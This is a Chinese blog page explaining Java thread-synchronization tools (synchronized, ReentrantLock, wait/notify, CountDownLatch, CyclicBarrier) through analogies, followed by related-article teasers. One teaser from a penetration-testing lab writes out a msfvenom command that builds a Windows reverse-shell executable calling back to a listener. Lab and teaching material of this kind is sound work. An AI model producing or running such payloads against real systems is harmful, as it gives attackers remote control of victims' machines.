如何实现线程的同步了?

什么是线程的同步了?就是在多个线程访问一个数据的时候,如何防止数据的一致性和避免竞争问题
1.Synchronized关键字,给线程上锁,相当于小朋友在排队玩玩具,一个玩完才能接着下一个
2.ReentrantLock:可重入锁,就是一群人在上厕所,但是厕所的开关被进入的那个人给锁住了,只有这个人上完了厕所才能打开厕所,让下一个人上厕所
3.wait和notify和notifyall(),通过Object类中的方法让线程进行等待或者进行唤醒,从而实现线程的同步
4.CountDownLatch和CyclicBarrier:
其是java并发包中的,
CountDowLatch是门闩倒计时,比如一个线程是一个人,大家出去旅游,所有人到齐了再出发,到了一个人,那个倒计时减1,这么回事
CyclicBarrier是大家一群人出去旅游途中,到达了一个地方以后,等一下其他人,直到所有人都到了然后再出发,这就是CyclicBarrier

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/829577.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql-sql-练习题-2-窗口函数

窗口函数 访问量max sum建表窗口函数连接 直播间人数 第1、3名建表排名sum 访问量max sum 每个用户截止到每月为止,最大单月访问次数,累计到该月的总访问次数 建表 create table visit(uid1 varchar(5) comment 用户id,month1 varchar(10) comment 月…

阳光能源,创造永远:光模块的未来”:随着大数据、区块链、云计算和5G的发展,光模块成为满足不断增长的数据流量需求的关键技术

光模块的类型介绍: 为了适应不同的应用需求,不同参数和功能的光模块应运而生。光模块的分类方式及类型详见如下: 🔎封装形式🔍: 📣📢光模块按照封装形式来分有以下几种常见类型&a…

声光控路灯控制系统设计与仿真

目录 前言 一、设计任务 二、系统组成及工作原理 1、总体设计思路 2、电路各模块设计简介 (1)光控电路 (2)声控电路 (3) 逻辑控制电路 (4) 延时电路 三、系统中电源模块的设计 1、方案比较和确定 2、 设计思路 3、直流…

OpenHarmony实战开发-如何实现自定义绘制 (XComponent)

XComponent组件作为一种绘制组件,通常用于满足开发者较为复杂的自定义绘制需求,例如相机预览流的显示和游戏画面的绘制。 其可通过指定其type字段来实现不同的功能,主要有两个“surface”和“component”字段可供选择。 对于“surface”类型…

AcrelEMS-MH民航机场智慧能源管平台解决方案【可靠供电/降低能耗/高效运维】

民航机场行业背景 自2012年以来,我国民航运输规模出现了显著增长,旅客运输量:从2012年的3.19亿人次上升至2019年的6.6亿人次(注:为剔除疫情影响,此处采取疫情前2019年的数据,下同)&…

java:SpringBootWeb请求响应

Servlet 用java编写的服务器端程序 客户端发送请求至服务器 服务器启动并调用Servlet,Servlet根据客户端请求生成响应内容并将其传给服务器 服务器将响应返回给客户端 javaweb的工作原理 在SpringBoot进行web程序开发时,内置了一个核心的Servlet程序DispatcherServlet,称之…

msf渗透实验,抓取密钥及密钥生成原理所引发的问题

1、生成反向shell msfvenom --list payloads 查看某个功能模块的具体功能msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.208.128 LPORT12345 -f exe -o shell.exe 生成一个.exe的控制文件,反向连接的payload2、接收shell,与反向shell建立连接 …

【小迪安全2023】第59天:服务攻防-中间件安全CVE复现lSApacheTomcatNginx

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~ ✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】 🎉点赞➕评论➕收…

最短路(Dijkstra, Bellman-Ford, SPFA, Floyd)

最短路 Dijkstra算法(复杂度 O ( m l o g n ) O(mlog n) O(mlogn)/ O ( n m l o g n ) O(nmlogn) O(nmlogn))–不能有负权边,不能有负权环,单源最短路径( O ( m l o g n ) O(mlog n) O(mlogn)),多源最短路径( O ( n m…

python在Django中使用django-mptt库来实现无限级树结构非常直观和方便

在Django中使用django-mptt库来实现无限级树结构非常直观和方便。django-mptt(Modified Preorder Tree Traversal)是一个用于Django模型的树形结构字段的库,它允许你通过递归的方式轻松地构建和操作树形结构。 下面是一个使用django-mptt和MySQL数据库实现无限级树结构的基…

hive创建hbase外部关联表实例

在cdh6.3.2已经做好hbase和hive相关配置,这里不阐述。 要创建上述的表结构,你需要先在HBase中创建相应的表,然后在Hive中创建一个EXTERNAL TABLE来映射到这个HBase表。以下是详细的步骤: 步骤1:在HBase中创建表 确定…

【javpower:后端技术革新的开源之旅】

🌟 javpower:探索Java后端的无限可能 在Java技术的宇宙中,我以代码为舟,以创新为帆,不断探索后端开发的深邃与广阔。我是javpower,一名对技术充满热情的实践者,我的旅程是通过开源项目与世界分…

k8s: 从私有仓库harbor获取镜像

一、根据私有仓库的用户名密码等信息创建secret kubectl create secret docker-registry my-registry-secret \ --docker-serverxxx.xxx.xxx.xxx \ --docker-usernameadmin \ --docker-passwordHarbor12345 \ --docker-emailxxxxsina.com二、在清单文件中使用imagePullSecrets…

SQL dialect is not configured. Apache Cassandra matches best.没有配置SQL方言 如何处理

我这里是MySQL语言,所以我设置MySQL dialect 写个记录,之后更换全局SQL语言再换 下图是设置

boot https ssl 使用http协议访问报错

在springboot中配置ssl以后, 再次使用http访问对应的接口就会报错 可以考虑如下设置,将http访问的端口重定向到https对应的端口 import org.apache.catalina.Context; import org.apache.catalina.connector.Connector; import org.apache.tomcat.util…

Qt——实现滚动条添加小组件自动跳转到最后

为了使滚动区域在您添加新的控件后自动滑动到底部,显示新增的窗口,您可以利用 Qt 的 QScrollArea 的滚动条进行调整。在您的 DWidget::toggleNewAdd 函数中,添加窗口到布局后,可以通过调整滚动区的滚动条到最大值来实现这一点。 …

神经网络中多层卷积的作用

在神经网络中采用多层卷积的目的是为了逐步提取和组合图像的抽象特征,从而更有效地学习数据的表示并执行复杂的任务。不同层的卷积具有不同的作用,从较低层次的特征(例如边缘、纹理)到较高层次的抽象特征(例如物体部件…

ZISUOJ 数据结构--串及其应用

说明&#xff1a; 都是字符串的基本操作没啥好说的&#xff0c;直接上题目和代码了。 题目列表&#xff1a; 问题 A: 字符串翻转 参考题解&#xff1a; #include <iostream> #include <string> #include <algorithm> using std::cin; using std::cout; usi…

【TensorFlow深度学习】张量比较与条件操作的应用场景

张量比较与条件操作的应用场景 1. 张量比较操作1.1 常用张量比较函数1.1.1 相等比较1.1.2 不等于比较1.1.3 大于比较 1.2 张量比较的应用场景1.2.1 数据过滤1.2.2 激活函数1.2.3 损失函数1.2.4 条件训练 2. 条件操作2.1 常用条件操作函数2.1.1 tf.cond2.1.2 tf.where 2.2 条件操…

OpenHarmony语言基础类库【@ohos.util.PlainArray (非线性容器PlainArray)】

PlainArray可用于存储具有关联关系的key-value键值对集合&#xff0c;存储元素中key值唯一&#xff0c;key值类型为number类型&#xff0c;每个key对应一个value。 PlainArray依据泛型定义&#xff0c;采用轻量级结构&#xff0c;集合中key值的查找依赖于二分查找算法&#xf…